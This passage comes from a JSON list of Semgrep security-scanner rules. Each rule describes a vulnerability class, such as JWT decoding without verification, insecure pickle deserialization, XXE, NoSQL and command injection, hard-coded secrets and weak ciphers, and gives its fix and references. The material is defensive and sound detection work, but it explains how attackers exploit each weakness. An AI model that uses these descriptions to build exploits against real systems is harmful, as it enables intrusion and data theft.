python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"help":{"markdown":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id","id":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","name":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-account-id.detected-aws-account-id"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","id":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","name":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"help":{"markdown":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)\n","text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","id":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","name":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django","id":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","name":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"help":{"markdown":"blockhash(block.number) and blockhash(block.number + N) always returns 0.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash)\n - [https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)\n","text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"helpUri":"https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","id":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","name":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","properties":{"precision":"very-high","tags":["CWE-341: Predictable from Observable State","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","id":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","name":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5","id":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","name":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval","id":"javascript.aws-lambda.security.tainted-eval.tainted-eval","name":"javascript.aws-lambda.security.tainted-eval.tainted-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-eval.tainted-eval"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/config/](https://flask-wtf.readthedocs.io/en/1.2.x/config/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","id":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","name":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","id":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","name":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","id":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","name":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HockeyApp detected"},"help":{"markdown":"HockeyApp detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"HockeyApp detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp","id":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","name":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-hockeyapp.detected-hockeyapp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user.missing-user)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user.missing-user","id":"dockerfile.security.missing-user.missing-user","name":"dockerfile.security.missing-user.missing-user","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user.missing-user"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"help":{"markdown":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md)\n","text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition","id":"generic.nginx.security.header-redefinition.header-redefinition","name":"generic.nginx.security.header-redefinition.header-redefinition","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-redefinition.header-redefinition"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"help":{"markdown":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission)\n - [https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html)\n","text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","id":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","name":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","id":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","name":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not 